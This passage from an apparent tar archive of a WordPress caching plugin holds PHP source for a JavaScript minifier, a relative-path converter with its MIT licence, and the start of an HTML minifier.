\x{1049}\x{1056}-\x{1059}\x{105e}-\x{1060}\x{1062}-\x{1064}\x{1067}-\x{106d}\x{1071}-\x{1074}\x{1082}-\x{108d}\x{108f}-\x{109d}\x{135d}-\x{135f}\x{1712}-\x{1714}\x{1732}-\x{1734}\x{1752}\x{1753}\x{1772}\x{1773}\x{17b4}-\x{17d3}\x{17dd}\x{17e0}-\x{17e9}\x{180b}-\x{180d}\x{1810}-\x{1819}\x{18a9}\x{1920}-\x{192b}\x{1930}-\x{193b}\x{1946}-\x{194f}\x{19b0}-\x{19c0}\x{19c8}\x{19c9}\x{19d0}-\x{19d9}\x{1a17}-\x{1a1b}\x{1a55}-\x{1a5e}\x{1a60}-\x{1a7c}\x{1a7f}-\x{1a89}\x{1a90}-\x{1a99}\x{1b00}-\x{1b04}\x{1b34}-\x{1b44}\x{1b50}-\x{1b59}\x{1b6b}-\x{1b73}\x{1b80}-\x{1b82}\x{1ba1}-\x{1bad}\x{1bb0}-\x{1bb9}\x{1be6}-\x{1bf3}\x{1c24}-\x{1c37}\x{1c40}-\x{1c49}\x{1c50}-\x{1c59}\x{1cd0}-\x{1cd2}\x{1cd4}-\x{1ce8}\x{1ced}\x{1cf2}-\x{1cf4}\x{1dc0}-\x{1de6}\x{1dfc}-\x{1dff}\x{200c}\x{200d}\x{203f}\x{2040}\x{2054}\x{20d0}-\x{20dc}\x{20e1}\x{20e5}-\x{20f0}\x{2cef}-\x{2cf1}\x{2d7f}\x{2de0}-\x{2dff}\x{302a}-\x{302f}\x{3099}\x{309a}\x{a620}-\x{a629}\x{a66f}\x{a674}-\x{a67d}\x{a69f}\x{a6f0}\x{a6f1}\x{a802}\x{a806}\x{a80b}\x{a823}-\x{a827}\x{a880}\x{a881}\x{a8b4}-\x{a8c4}\x{a8d0}-\x{a8d9}\x{a8e0}-\x{a8f1}\x{a900}-\x{a909}\x{a926}-\x{a92d}\x{a947}-\x{a953}\x{a980}-\x{a983}\x{a9b3}-\x{a9c0}\x{a9d0}-\x{a9d9}\x{aa29}-\x{aa36}\x{aa43}\x{aa4c}\x{aa4d}\x{aa50}-\x{aa59}\x{aa7b}\x{aab0}\x{aab2}-\x{aab4}\x{aab7}\x{aab8}\x{aabe}\x{aabf}\x{aac1}\x{aaeb}-\x{aaef}\x{aaf5}\x{aaf6}\x{abe3}-\x{abea}\x{abec}\x{abed}\x{abf0}-\x{abf9}\x{fb1e}\x{fe00}-\x{fe0f}\x{fe20}-\x{fe26}\x{fe33}\x{fe34}\x{fe4d}-\x{fe4f}\x{ff10}-\x{ff19}\x{ff3f}]*\b'; /** * Full list of JavaScript reserved words. * Will be loaded from /data/js/keywords_reserved.txt. * * @see https://mathiasbynens.be/notes/reserved-keywords * * @var string[] */ protected $keywordsReserved = array(); /** * List of JavaScript reserved words that accept a <variable, value, ...> * after them. Some end of lines are not the end of a statement, like with * these keywords. * * E.g.: we shouldn't insert a ; after this else * else * console.log('this is quite fine') * * Will be loaded from /data/js/keywords_before.txt * * @var string[] */ protected $keywordsBefore = array(); /** * List of JavaScript reserved words that accept a <variable, value, ...> * before them. Some end of lines are not the end of a statement, like when * continued by one of these keywords on the newline. * * E.g.: we shouldn't insert a ; before this instanceof * variable * instanceof String * * Will be loaded from /data/js/keywords_after.txt * * @var string[] */ protected $keywordsAfter = array(); /** * List of all JavaScript operators. * * Will be loaded from /data/js/operators.txt * * @see https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Expressions_and_Operators * * @var string[] */ protected $operators = array(); /** * List of JavaScript operators that accept a <variable, value, ...> after * them. Some end of lines are not the end of a statement, like with these * operators. * * Note: Most operators are fine, we've only removed ++ and --. * ++ & -- have to be joined with the value they're in-/decrementing. * * Will be loaded from /data/js/operators_before.txt * * @see https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Expressions_and_Operators * * @var string[] */ protected $operatorsBefore = array(); /** * List of JavaScript operators that accept a <variable, value, ...> before * them. Some end of lines are not the end of a statement, like when * continued by one of these operators on the newline. * * Note: Most operators are fine, we've only removed ), ], ++, --, ! and ~. * There can't be a newline separating ! or ~ and whatever it is negating. * ++ & -- have to be joined with the value they're in-/decrementing. * ) & ] are "special" in that they have lots or usecases. () for example * is used for function calls, for grouping, in if () and for (), ... * * Will be loaded from /data/js/operators_after.txt * * @see https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Expressions_and_Operators * * @var string[] */ protected $operatorsAfter = array(); public function __construct() { call_user_func_array( array( '\\LiteSpeed\\Lib\\CSS_JS_MIN\\Minify\\Minify', '__construct' ), func_get_args() ); $dataDir = __DIR__ . '/data/js/'; $options = FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES; $this->keywordsReserved = file( $dataDir . 'keywords_reserved.txt', $options ); $this->keywordsBefore = file( $dataDir . 'keywords_before.txt', $options ); $this->keywordsAfter = file( $dataDir . 'keywords_after.txt', $options ); $this->operators = file( $dataDir . 'operators.txt', $options ); $this->operatorsBefore = file( $dataDir . 'operators_before.txt', $options ); $this->operatorsAfter = file( $dataDir . 'operators_after.txt', $options ); } /** * Minify the data. * Perform JS optimizations. * * @param string[optional] $path Path to write the data to * * @return string The minified data */ public function execute( $path = null ) { $content = ''; /* * Let's first take out strings, comments and regular expressions. * All of these can contain JS code-like characters, and we should make * sure any further magic ignores anything inside of these. * * Consider this example, where we should not strip any whitespace: * var str = "a test"; * * Comments will be removed altogether, strings and regular expressions * will be replaced by placeholder text, which we'll restore later. */ $this->extractStrings( '\'"`' ); $this->stripComments(); $this->extractRegex(); // loop files foreach ( $this->data as $source => $js ) { // take out strings, comments & regex (for which we've registered // the regexes just a few lines earlier) $js = $this->replace( $js ); $js = $this->propertyNotation( $js ); $js = $this->shortenBools( $js ); $js = $this->stripWhitespace( $js ); // combine js: separating the scripts by a ; $content .= $js . ';'; } // clean up leftover `;`s from the combination of multiple scripts $content = ltrim( $content, ';' ); $content = (string) substr( $content, 0, -1 ); /* * Earlier, we extracted strings & regular expressions and replaced them * with placeholder text. This will restore them. */ $content = $this->restoreExtractedData( $content ); return $content; } /** * Strip comments from source code. */ protected function stripComments() { $this->stripMultilineComments(); // single-line comments $this->registerPattern( '/\/\/.*$/m', '' ); } /** * JS can have /-delimited regular expressions, like: /ab+c/.match(string). * * The content inside the regex can contain characters that may be confused * for JS code: e.g. it could contain whitespace it needs to match & we * don't want to strip whitespace in there. * * The regex can be pretty simple: we don't have to care about comments, * (which also use slashes) because stripComments() will have stripped those * already. * * This method will replace all string content with simple REGEX# * placeholder text, so we've rid all regular expressions from characters * that may be misinterpreted. Original regex content will be saved in * $this->extracted and after doing all other minifying, we can restore the * original content via restoreRegex() */ protected function extractRegex() { // PHP only supports $this inside anonymous functions since 5.4 $minifier = $this; $callback = function ( $match ) use ( $minifier ) { $count = count( $minifier->extracted ); $placeholder = '"' . $count . '"'; $minifier->extracted[ $placeholder ] = $match[0]; return $placeholder; }; // match all chars except `/` and `\` // `\` is allowed though, along with whatever char follows (which is the // one being escaped) // this should allow all chars, except for an unescaped `/` (= the one // closing the regex) // then also ignore bare `/` inside `[]`, where they don't need to be // escaped: anything inside `[]` can be ignored safely $pattern = '\\/(?!\*)(?:[^\\[\\/\\\\\n\r]++|(?:\\\\.)++|(?:\\[(?:[^\\]\\\\\n\r]++|(?:\\\\.)++)++\\])++)++\\/[gimuy]*'; // a regular expression can only be followed by a few operators or some // of the RegExp methods (a `\` followed by a variable or value is // likely part of a division, not a regex) $keywords = array( 'do', 'in', 'new', 'else', 'throw', 'yield', 'delete', 'return', 'typeof' ); $before = '(^|[=:,;\+\-\*\?\/\}\(\{\[&\|!]|' . implode( '|', $keywords ) . ')\s*'; $propertiesAndMethods = array( // https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp#Properties_2 'constructor', 'flags', 'global', 'ignoreCase', 'multiline', 'source', 'sticky', 'unicode', // https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp#Methods_2 'compile(', 'exec(', 'test(', 'toSource(', 'toString(', ); $delimiters = array_fill( 0, count( $propertiesAndMethods ), '/' ); $propertiesAndMethods = array_map( 'preg_quote', $propertiesAndMethods, $delimiters ); $after = '(?=\s*([\.,;:\)\}&\|+]|\/\/|$|\.(' . implode( '|', $propertiesAndMethods ) . ')))'; $this->registerPattern( '/' . $before . '\K' . $pattern . $after . '/', $callback ); // regular expressions following a `)` are rather annoying to detect... // quite often, `/` after `)` is a division operator & if it happens to // be followed by another one (or a comment), it is likely to be // confused for a regular expression // however, it's perfectly possible for a regex to follow a `)`: after // a single-line `if()`, `while()`, ... statement, for example // since, when they occur like that, they're always the start of a // statement, there's only a limited amount of ways they can be useful: // by calling the regex methods directly // if a regex following `)` is not followed by `.<property or method>`, // it's quite likely not a regex $before = '\)\s*'; $after = '(?=\s*\.(' . implode( '|', $propertiesAndMethods ) . '))'; $this->registerPattern( '/' . $before . '\K' . $pattern . $after . '/', $callback ); // 1 more edge case: a regex can be followed by a lot more operators or // keywords if there's a newline (ASI) in between, where the operator // actually starts a new statement // (https://github.com/matthiasmullie/minify/issues/56) $operators = $this->getOperatorsForRegex( $this->operatorsBefore, '/' ); $operators += $this->getOperatorsForRegex( $this->keywordsReserved, '/' ); $after = '(?=\s*\n\s*(' . implode( '|', $operators ) . '))'; $this->registerPattern( '/' . $pattern . $after . '/', $callback ); } /** * Strip whitespace. * * We won't strip *all* whitespace, but as much as possible. The thing that * we'll preserve are newlines we're unsure about. * JavaScript doesn't require statements to be terminated with a semicolon. * It will automatically fix missing semicolons with ASI (automatic semi- * colon insertion) at the end of line causing errors (without semicolon.) * * Because it's sometimes hard to tell if a newline is part of a statement * that should be terminated or not, we'll just leave some of them alone. * * @param string $content The content to strip the whitespace for * * @return string */ protected function stripWhitespace( $content ) { // uniform line endings, make them all line feed $content = str_replace( array( "\r\n", "\r" ), "\n", $content ); // collapse all non-line feed whitespace into a single space $content = preg_replace( '/[^\S\n]+/', ' ', $content ); // strip leading & trailing whitespace $content = str_replace( array( " \n", "\n " ), "\n", $content ); // collapse consecutive line feeds into just 1 $content = preg_replace( '/\n+/', "\n", $content ); $operatorsBefore = $this->getOperatorsForRegex( $this->operatorsBefore, '/' ); $operatorsAfter = $this->getOperatorsForRegex( $this->operatorsAfter, '/' ); $operators = $this->getOperatorsForRegex( $this->operators, '/' ); $keywordsBefore = $this->getKeywordsForRegex( $this->keywordsBefore, '/' ); $keywordsAfter = $this->getKeywordsForRegex( $this->keywordsAfter, '/' ); // strip whitespace that ends in (or next line begin with) an operator // that allows statements to be broken up over multiple lines unset( $operatorsBefore['+'], $operatorsBefore['-'], $operatorsAfter['+'], $operatorsAfter['-'] ); $content = preg_replace( array( '/(' . implode( '|', $operatorsBefore ) . ')\s+/', '/\s+(' . implode( '|', $operatorsAfter ) . ')/', ), '\\1', $content ); // make sure + and - can't be mistaken for, or joined into ++ and -- $content = preg_replace( array( '/(?<![\+\-])\s*([\+\-])(?![\+\-])/', '/(?<![\+\-])([\+\-])\s*(?![\+\-])/', ), '\\1', $content ); // collapse whitespace around reserved words into single space $content = preg_replace( '/(^|[;\}\s])\K(' . implode( '|', $keywordsBefore ) . ')\s+/', '\\2 ', $content ); $content = preg_replace( '/\s+(' . implode( '|', $keywordsAfter ) . ')(?=([;\{\s]|$))/', ' \\1', $content ); /* * We didn't strip whitespace after a couple of operators because they * could be used in different contexts and we can't be sure it's ok to * strip the newlines. However, we can safely strip any non-line feed * whitespace that follows them. */ $operatorsDiffBefore = array_diff( $operators, $operatorsBefore ); $operatorsDiffAfter = array_diff( $operators, $operatorsAfter ); $content = preg_replace( '/(' . implode( '|', $operatorsDiffBefore ) . ')[^\S\n]+/', '\\1', $content ); $content = preg_replace( '/[^\S\n]+(' . implode( '|', $operatorsDiffAfter ) . ')/', '\\1', $content ); /* * Whitespace after `return` can be omitted in a few occasions * (such as when followed by a string or regex) * Same for whitespace in between `)` and `{`, or between `{` and some * keywords. */ $content = preg_replace( '/\breturn\s+(["\'\/\+\-])/', 'return$1', $content ); $content = preg_replace( '/\)\s+\{/', '){', $content ); $content = preg_replace( '/}\n(else|catch|finally)\b/', '}$1', $content ); /* * Get rid of double semicolons, except where they can be used like: * "for(v=1,_=b;;)", "for(v=1;;v++)" or "for(;;ja||(ja=true))". * I'll safeguard these double semicolons inside for-loops by * temporarily replacing them with an invalid condition: they won't have * a double semicolon and will be easy to spot to restore afterwards. */ $content = preg_replace( '/\bfor\(([^;]*);;([^;]*)\)/', 'for(\\1;-;\\2)', $content ); $content = preg_replace( '/;+/', ';', $content ); $content = preg_replace( '/\bfor\(([^;]*);-;([^;]*)\)/', 'for(\\1;;\\2)', $content ); /* * Next, we'll be removing all semicolons where ASI kicks in. * for-loops however, can have an empty body (ending in only a * semicolon), like: `for(i=1;i<3;i++);`, of `for(i in list);` * Here, nothing happens during the loop; it's just used to keep * increasing `i`. With that ; omitted, the next line would be expected * to be the for-loop's body... Same goes for while loops. * I'm going to double that semicolon (if any) so after the next line, * which strips semicolons here & there, we're still left with this one. * Note the special recursive construct in the three inner parts of the for: * (\{([^\{\}]*(?-2))*[^\{\}]*\})? - it is intended to match inline * functions bodies, e.g.: i<arr.map(function(e){return e}).length. * Also note that the construct is applied only once and multiplied * for each part of the for, otherwise it risks a catastrophic backtracking. * The limitation is that it will not allow closures in more than one * of the three parts for a specific for() case. * REGEX throwing catastrophic backtracking: $content = preg_replace('/(for\([^;\{]*(\{([^\{\}]*(?-2))*[^\{\}]*\})?[^;\{]*;[^;\{]*(\{([^\{\}]*(?-2))*[^\{\}]*\})?[^;\{]*;[^;\{]*(\{([^\{\}]*(?-2))*[^\{\}]*\})?[^;\{]*\));(\}|$)/s', '\\1;;\\8', $content); */ $content = preg_replace( '/(for\((?:[^;\{]*|[^;\{]*function[^;\{]*(\{([^\{\}]*(?-2))*[^\{\}]*\})?[^;\{]*);[^;\{]*;[^;\{]*\));(\}|$)/s', '\\1;;\\4', $content ); $content = preg_replace( '/(for\([^;\{]*;(?:[^;\{]*|[^;\{]*function[^;\{]*(\{([^\{\}]*(?-2))*[^\{\}]*\})?[^;\{]*);[^;\{]*\));(\}|$)/s', '\\1;;\\4', $content ); $content = preg_replace( '/(for\([^;\{]*;[^;\{]*;(?:[^;\{]*|[^;\{]*function[^;\{]*(\{([^\{\}]*(?-2))*[^\{\}]*\})?[^;\{]*)\));(\}|$)/s', '\\1;;\\4', $content ); $content = preg_replace( '/(for\([^;\{]+\s+in\s+[^;\{]+\));(\}|$)/s', '\\1;;\\2', $content ); /* * Do the same for the if's that don't have a body but are followed by ;} */ $content = preg_replace( '/(\bif\s*\([^{;]*\));\}/s', '\\1;;}', $content ); /* * Below will also keep `;` after a `do{}while();` along with `while();` * While these could be stripped after do-while, detecting this * distinction is cumbersome, so I'll play it safe and make sure `;` * after any kind of `while` is kept. */ $content = preg_replace( '/(while\([^;\{]+\));(\}|$)/s', '\\1;;\\2', $content ); /* * We also can't strip empty else-statements. Even though they're * useless and probably shouldn't be in the code in the first place, we * shouldn't be stripping the `;` that follows it as it breaks the code. * We can just remove those useless else-statements completely. * * @see https://github.com/matthiasmullie/minify/issues/91 */ $content = preg_replace( '/else;/s', '', $content ); /* * We also don't really want to terminate statements followed by closing * curly braces (which we've ignored completely up until now) or end-of- * script: ASI will kick in here & we're all about minifying. * Semicolons at beginning of the file don't make any sense either. */ $content = preg_replace( '/;(\}|$)/s', '\\1', $content ); $content = ltrim( $content, ';' ); // get rid of remaining whitespace af beginning/end return trim( $content ); } /** * We'll strip whitespace around certain operators with regular expressions. * This will prepare the given array by escaping all characters. * * @param string[] $operators * @param string $delimiter * * @return string[] */ protected function getOperatorsForRegex( array $operators, $delimiter = '/' ) { // escape operators for use in regex $delimiters = array_fill( 0, count( $operators ), $delimiter ); $escaped = array_map( 'preg_quote', $operators, $delimiters ); $operators = array_combine( $operators, $escaped ); // ignore + & - for now, they'll get special treatment unset( $operators['+'], $operators['-'] ); // dot can not just immediately follow a number; it can be confused for // decimal point, or calling a method on it, e.g. 42 .toString() $operators['.'] = '(?<![0-9]\s)\.'; // don't confuse = with other assignment shortcuts (e.g. +=) $chars = preg_quote( '+-*\=<>%&|', $delimiter ); $operators['='] = '(?<![' . $chars . '])\='; return $operators; } /** * We'll strip whitespace around certain keywords with regular expressions. * This will prepare the given array by escaping all characters. * * @param string[] $keywords * @param string $delimiter * * @return string[] */ protected function getKeywordsForRegex( array $keywords, $delimiter = '/' ) { // escape keywords for use in regex $delimiter = array_fill( 0, count( $keywords ), $delimiter ); $escaped = array_map( 'preg_quote', $keywords, $delimiter ); // add word boundaries array_walk( $keywords, function ( $value ) { return '\b' . $value . '\b'; } ); $keywords = array_combine( $keywords, $escaped ); return $keywords; } /** * Replaces all occurrences of array['key'] by array.key. * * @param string $content * * @return string */ protected function propertyNotation( $content ) { // PHP only supports $this inside anonymous functions since 5.4 $minifier = $this; $keywords = $this->keywordsReserved; $callback = function ( $match ) use ( $minifier, $keywords ) { $property = trim( $minifier->extracted[ $match[1] ], '\'"' ); /* * Check if the property is a reserved keyword. In this context (as * property of an object literal/array) it shouldn't matter, but IE8 * freaks out with "Expected identifier". */ if ( in_array( $property, $keywords ) ) { return $match[0]; } /* * See if the property is in a variable-like format (e.g. * array['key-here'] can't be replaced by array.key-here since '-' * is not a valid character there. */ if ( ! preg_match( '/^' . $minifier::REGEX_VARIABLE . '$/u', $property ) ) { return $match[0]; } return '.' . $property; }; /* * Figure out if previous character is a variable name (of the array * we want to use property notation on) - this is to make sure * standalone ['value'] arrays aren't confused for keys-of-an-array. * We can (and only have to) check the last character, because PHP's * regex implementation doesn't allow unfixed-length look-behind * assertions. */ preg_match( '/(\[[^\]]+\])[^\]]*$/', static::REGEX_VARIABLE, $previousChar ); $previousChar = $previousChar[1]; /* * Make sure word preceding the ['value'] is not a keyword, e.g. * return['x']. Because -again- PHP's regex implementation doesn't allow * unfixed-length look-behind assertions, I'm just going to do a lot of * separate look-behind assertions, one for each keyword. */ $keywords = $this->getKeywordsForRegex( $keywords ); $keywords = '(?<!' . implode( ')(?<!', $keywords ) . ')'; return preg_replace_callback( '/(?<=' . $previousChar . '|\])' . $keywords . '\[\s*(([\'"])[0-9]+\\2)\s*\]/u', $callback, $content ); } /** * Replaces true & false by !0 and !1. * * @param string $content * * @return string */ protected function shortenBools( $content ) { /* * 'true' or 'false' could be used as property names (which may be * followed by whitespace) - we must not replace those! * Since PHP doesn't allow variable-length (to account for the * whitespace) lookbehind assertions, I need to capture the leading * character and check if it's a `.` */ $callback = function ( $match ) { if ( trim( $match[1] ) === '.' ) { return $match[0]; } return $match[1] . ( $match[2] === 'true' ? '!0' : '!1' ); }; $content = preg_replace_callback( '/(^|.\s*)\b(true|false)\b(?!:)/', $callback, $content ); // for(;;) is exactly the same as while(true), but shorter :) $content = preg_replace( '/\bwhile\(!0\){/', 'for(;;){', $content ); // now make sure we didn't turn any do ... while(true) into do ... for(;;) preg_match_all( '/\bdo\b/', $content, $dos, PREG_OFFSET_CAPTURE | PREG_SET_ORDER ); // go backward to make sure positional offsets aren't altered when $content changes $dos = array_reverse( $dos ); foreach ( $dos as $do ) { $offsetDo = $do[0][1]; // find all `while` (now `for`) following `do`: one of those must be // associated with the `do` and be turned back into `while` preg_match_all( '/\bfor\(;;\)/', $content, $whiles, PREG_OFFSET_CAPTURE | PREG_SET_ORDER, $offsetDo ); foreach ( $whiles as $while ) { $offsetWhile = $while[0][1]; $open = substr_count( $content, '{', $offsetDo, $offsetWhile - $offsetDo ); $close = substr_count( $content, '}', $offsetDo, $offsetWhile - $offsetDo ); if ( $open === $close ) { // only restore `while` if amount of `{` and `}` are the same; // otherwise, that `for` isn't associated with this `do` $content = substr_replace( $content, 'while(!0)', $offsetWhile, strlen( 'for(;;)' ) ); break; } } } return $content; } } ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������plugins/litespeed-cache/lib/css_js_min/pathconverter/LICENSE����������������������������������������0000644�����������������00000002043�15233526476�0020046 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������Copyright (c) 2015 Matthias Mullie Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������plugins/litespeed-cache/lib/css_js_min/pathconverter/converter.cls.php������������������������������0000644�����������������00000012600�15233526476�0022341 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // phpcs:ignoreFile /** * modified PHP implementation of Matthias Mullie's convert path class * Convert paths relative from 1 file to another. * * E.g. * ../../images/icon.jpg relative to /css/imports/icons.css * becomes * ../images/icon.jpg relative to /css/minified.css * * @author Matthias Mullie <pathconverter@mullie.eu> * @copyright Copyright (c) 2015, Matthias Mullie. All rights reserved * @license MIT License */ namespace LiteSpeed\Lib\CSS_JS_MIN\PathConverter; defined( 'WPINC' ) || exit; interface ConverterInterface { /** * Convert file paths. * * @param string $path The path to be converted * * @return string The new path */ public function convert( $path ); } class Converter implements ConverterInterface { /** * @var string */ protected $from; /** * @var string */ protected $to; /** * @param string $from The original base path (directory, not file!) * @param string $to The new base path (directory, not file!) * @param string $root Root directory (defaults to `getcwd`) */ public function __construct( $from, $to, $root = '' ) { $shared = $this->shared( $from, $to ); if ( $shared === '' ) { // when both paths have nothing in common, one of them is probably // absolute while the other is relative $root = $root ?: getcwd(); $from = strpos( $from, $root ) === 0 ? $from : preg_replace( '/\/+/', '/', $root . '/' . $from ); $to = strpos( $to, $root ) === 0 ? $to : preg_replace( '/\/+/', '/', $root . '/' . $to ); // or traveling the tree via `..` // attempt to resolve path, or assume it's fine if it doesn't exist $from = @realpath( $from ) ?: $from; $to = @realpath( $to ) ?: $to; } $from = $this->dirname( $from ); $to = $this->dirname( $to ); $from = $this->normalize( $from ); $to = $this->normalize( $to ); $this->from = $from; $this->to = $to; } /** * Normalize path. * * @param string $path * * @return string */ protected function normalize( $path ) { // deal with different operating systems' directory structure $path = rtrim( str_replace( DIRECTORY_SEPARATOR, '/', $path ), '/' ); // remove leading current directory. if ( substr( $path, 0, 2 ) === './' ) { $path = substr( $path, 2 ); } // remove references to current directory in the path. $path = str_replace( '/./', '/', $path ); /* * Example: * /home/forkcms/frontend/cache/compiled_templates/../../core/layout/css/../images/img.gif * to * /home/forkcms/frontend/core/layout/images/img.gif */ do { $path = preg_replace( '/[^\/]+(?<!\.\.)\/\.\.\//', '', $path, -1, $count ); } while ( $count ); return $path; } /** * Figure out the shared path of 2 locations. * * Example: * /home/forkcms/frontend/core/layout/images/img.gif * and * /home/forkcms/frontend/cache/minified_css * share * /home/forkcms/frontend * * @param string $path1 * @param string $path2 * * @return string */ protected function shared( $path1, $path2 ) { // $path could theoretically be empty (e.g. no path is given), in which // case it shouldn't expand to array(''), which would compare to one's // root / $path1 = $path1 ? explode( '/', $path1 ) : array(); $path2 = $path2 ? explode( '/', $path2 ) : array(); $shared = array(); // compare paths & strip identical ancestors foreach ( $path1 as $i => $chunk ) { if ( isset( $path2[ $i ] ) && $path1[ $i ] == $path2[ $i ] ) { $shared[] = $chunk; } else { break; } } return implode( '/', $shared ); } /** * Convert paths relative from 1 file to another. * * E.g. * ../images/img.gif relative to /home/forkcms/frontend/core/layout/css * should become: * ../../core/layout/images/img.gif relative to * /home/forkcms/frontend/cache/minified_css * * @param string $path The relative path that needs to be converted * * @return string The new relative path */ public function convert( $path ) { // quit early if conversion makes no sense if ( $this->from === $this->to ) { return $path; } $path = $this->normalize( $path ); // if we're not dealing with a relative path, just return absolute if ( strpos( $path, '/' ) === 0 ) { return $path; } // normalize paths $path = $this->normalize( $this->from . '/' . $path ); // strip shared ancestor paths $shared = $this->shared( $path, $this->to ); $path = mb_substr( $path, mb_strlen( $shared ) ); $to = mb_substr( $this->to, mb_strlen( $shared ) ); // add .. for every directory that needs to be traversed to new path $to = str_repeat( '../', count( array_filter( explode( '/', $to ) ) ) ); return $to . ltrim( $path, '/' ); } /** * Attempt to get the directory name from a path. * * @param string $path * * @return string */ protected function dirname( $path ) { if ( @is_file( $path ) ) { return dirname( $path ); } if ( @is_dir( $path ) ) { return rtrim( $path, '/' ); } // no known file/dir, start making assumptions // ends in / = dir if ( mb_substr( $path, -1 ) === '/' ) { return rtrim( $path, '/' ); } // has a dot in the name, likely a file if ( preg_match( '/.*\..*$/', basename( $path ) ) !== 0 ) { return dirname( $path ); } // you're on your own here! return $path; } } class NoConverter implements ConverterInterface { /** * {@inheritdoc} */ public function convert( $path ) { return $path; } } ��������������������������������������������������������������������������������������������������������������������������������plugins/litespeed-cache/lib/html-min.cls.php��������������������������������������������������������0000644�����������������00000017744�15233526476�0015062 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // phpcs:ignoreFile /** * Compress HTML * * This is a heavy regex-based removal of whitespace, unnecessary comments and * tokens. IE conditional comments are preserved. There are also options to have * STYLE and SCRIPT blocks compressed by callback functions. * * A test suite is available. * * @package Minify * @author Stephen Clay <steve@mrclay.org> */ namespace LiteSpeed\Lib; defined( 'WPINC' ) || exit; class HTML_MIN { /** * @var string */ protected $_html = ''; /** * @var boolean */ protected $_jsCleanComments = true; protected $_skipComments = array(); /** * "Minify" an HTML page * * @param string $html * * @param array $options * * 'cssMinifier' : (optional) callback function to process content of STYLE * elements. * * 'jsMinifier' : (optional) callback function to process content of SCRIPT * elements. Note: the type attribute is ignored. * * 'xhtml' : (optional boolean) should content be treated as XHTML1.0? If * unset, minify will sniff for an XHTML doctype. * * @return string */ public static function minify( $html, $options = array() ) { $min = new self( $html, $options ); return $min->process(); } /** * Create a minifier object * * @param string $html * * @param array $options * * 'cssMinifier' : (optional) callback function to process content of STYLE * elements. * * 'jsMinifier' : (optional) callback function to process content of SCRIPT * elements. Note: the type attribute is ignored. * * 'jsCleanComments' : (optional) whether to remove HTML comments beginning and end of script block * * 'xhtml' : (optional boolean) should content be treated as XHTML1.0? If * unset, minify will sniff for an XHTML doctype. */ public function __construct( $html, $options = array() ) { $this->_html = str_replace( "\r\n", "\n", trim( $html ) ); if ( isset( $options['xhtml'] ) ) { $this->_isXhtml = (bool) $options['xhtml']; } if ( isset( $options['cssMinifier'] ) ) { $this->_cssMinifier = $options['cssMinifier']; } if ( isset( $options['jsMinifier'] ) ) { $this->_jsMinifier = $options['jsMinifier']; } if ( isset( $options['jsCleanComments'] ) ) { $this->_jsCleanComments = (bool) $options['jsCleanComments']; } if ( isset( $options['skipComments'] ) ) { $this->_skipComments = $options['skipComments']; } } /** * Minify the markeup given in the constructor * * @return string */ public function process() { if ( $this->_isXhtml === null ) { $this->_isXhtml = ( false !== strpos( $this->_html, '<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML' ) ); } $this->_replacementHash = 'MINIFYHTML' . md5( $_SERVER['REQUEST_TIME'] ); $this->_placeholders = array(); // replace SCRIPTs (and minify) with placeholders $this->_html = preg_replace_callback( '/(\\s*)<script(\\b[^>]*?>)([\\s\\S]*?)<\\/script>(\\s*)/i', array( $this, '_removeScriptCB' ), $this->_html ); // replace STYLEs (and minify) with placeholders $this->_html = preg_replace_callback( '/\\s*<style(\\b[^>]*>)([\\s\\S]*?)<\\/style>\\s*/i', array( $this, '_removeStyleCB' ), $this->_html ); // remove HTML comments (not containing IE conditional comments). $this->_html = preg_replace_callback( '/<!--([\\s\\S]*?)-->/', array( $this, '_commentCB' ), $this->_html ); // replace PREs with placeholders $this->_html = preg_replace_callback( '/\\s*<pre(\\b[^>]*?>[\\s\\S]*?<\\/pre>)\\s*/i', array( $this, '_removePreCB' ), $this->_html ); // replace TEXTAREAs with placeholders $this->_html = preg_replace_callback( '/\\s*<textarea(\\b[^>]*?>[\\s\\S]*?<\\/textarea>)\\s*/i', array( $this, '_removeTextareaCB' ), $this->_html ); // trim each line. // @todo take into account attribute values that span multiple lines. $this->_html = preg_replace( '/^\\s+|\\s+$/m', '', $this->_html ); // remove ws around block/undisplayed elements $this->_html = preg_replace( '/\\s+(<\\/?(?:area|article|aside|base(?:font)?|blockquote|body' . '|canvas|caption|center|col(?:group)?|dd|dir|div|dl|dt|fieldset|figcaption|figure|footer|form' . '|frame(?:set)?|h[1-6]|head|header|hgroup|hr|html|legend|li|link|main|map|menu|meta|nav' . '|ol|opt(?:group|ion)|output|p|param|section|t(?:able|body|head|d|h||r|foot|itle)' . '|ul|video)\\b[^>]*>)/i', '$1', $this->_html ); // remove ws outside of all elements $this->_html = preg_replace( '/>(\\s(?:\\s*))?([^<]+)(\\s(?:\s*))?</', 